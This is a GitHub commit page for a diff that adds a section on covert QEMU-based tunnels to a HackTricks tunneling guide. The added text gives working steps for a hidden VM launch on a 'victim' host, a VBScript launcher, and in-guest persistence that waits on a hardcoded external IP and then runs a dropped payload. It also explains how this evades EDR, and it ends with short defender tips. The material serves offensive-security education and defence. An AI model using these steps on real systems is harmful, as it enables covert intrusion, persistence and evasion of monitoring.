Skip to content

Commit 369c506

Browse files
authored
Merge pull request #1147 from HackTricks-wiki/update_Hiding_in_the_Shadows__Covert_Tunnels_via_QEMU_Vir_20250718_012823
Hiding in the Shadows Covert Tunnels via QEMU Virtualization
2 parents 4139095 + de52a7b commit 369c506

File tree

1 file changed

+62
-0
lines changed

1 file changed

+62
-0
lines changed

src/generic-hacking/tunneling-and-port-forwarding.md

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -726,11 +726,73 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p
726726

727727
The above command publishes the victim’s port **8080** as **attacker_ip:9000** without deploying any additional tooling – ideal for living-off-the-land pivoting.
728728

729+
## Covert VM-based Tunnels with QEMU
730+
731+
QEMU’s user-mode networking (`-netdev user`) supports an option called `hostfwd` that **binds a TCP/UDP port on the *host* and forwards it into the *guest***. When the guest runs a full SSH daemon, the hostfwd rule gives you a disposable SSH jump box that lives entirely inside an ephemeral VM – perfect for hiding C2 traffic from EDR because all malicious activity and files stay in the virtual disk.
732+
733+
### Quick one-liner
734+
735+
```powershell
736+
# Windows victim (no admin rights, no driver install – portable binaries only)
737+
qemu-system-x86_64.exe ^
738+
-m 256M ^
739+
-drive file=tc.qcow2,if=ide ^
740+
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
741+
-device e1000,netdev=n0 ^
742+
-nographic
743+
```
744+
745+
• The command above launches a **Tiny Core Linux** image (`tc.qcow2`) in RAM.
746+
• Port **2222/tcp** on the Windows host is transparently forwarded to **22/tcp** inside the guest.
747+
• From the attacker’s point of view the target simply exposes port 2222; any packets that reach it are handled by the SSH server running in the VM.
748+
749+
### Launching stealthily through VBScript
750+
751+
```vb
752+
' update.vbs – lived in C:\ProgramData\update
753+
Set o = CreateObject("Wscript.Shell")
754+
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
755+
```
756+
757+
Running the script with `cscript.exe //B update.vbs` keeps the window hidden.
758+
759+
### In-guest persistence
760+
761+
Because Tiny Core is stateless, attackers usually:
762+
763+
1. Drop payload to `/opt/123.out`
764+
2. Append to `/opt/bootlocal.sh`:
765+
766+
```sh
767+
while ! ping -c1 45.77.4.101; do sleep 2; done
768+
/opt/123.out
769+
```
770+
771+
3. Add `home/tc` and `opt` to `/opt/filetool.lst` so the payload is packed into `mydata.tgz` on shutdown.
772+
773+
### Why this evades detection
774+
775+
• Only two unsigned executables (`qemu-system-*.exe`) touch disk; no drivers or services are installed.
776+
• Security products on the host see **benign loopback traffic** (the actual C2 terminates inside the VM).
777+
• Memory scanners never analyse the malicious process space because it lives in a different OS.
778+
779+
### Defender tips
780+
781+
• Alert on **unexpected QEMU/VirtualBox/KVM binaries** in user-writable paths.
782+
• Block outbound connections that originate from `qemu-system*.exe`.
783+
• Hunt for rare listening ports (2222, 10022, …) binding immediately after a QEMU launch.
784+
785+
---
786+
729787
## Other tools to check
730788

731789
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
732790
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
733791

792+
## References
793+
794+
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
795+
734796
{{#include ../banners/hacktricks-training.md}}
735797

736798

0 commit comments

Comments
 (0)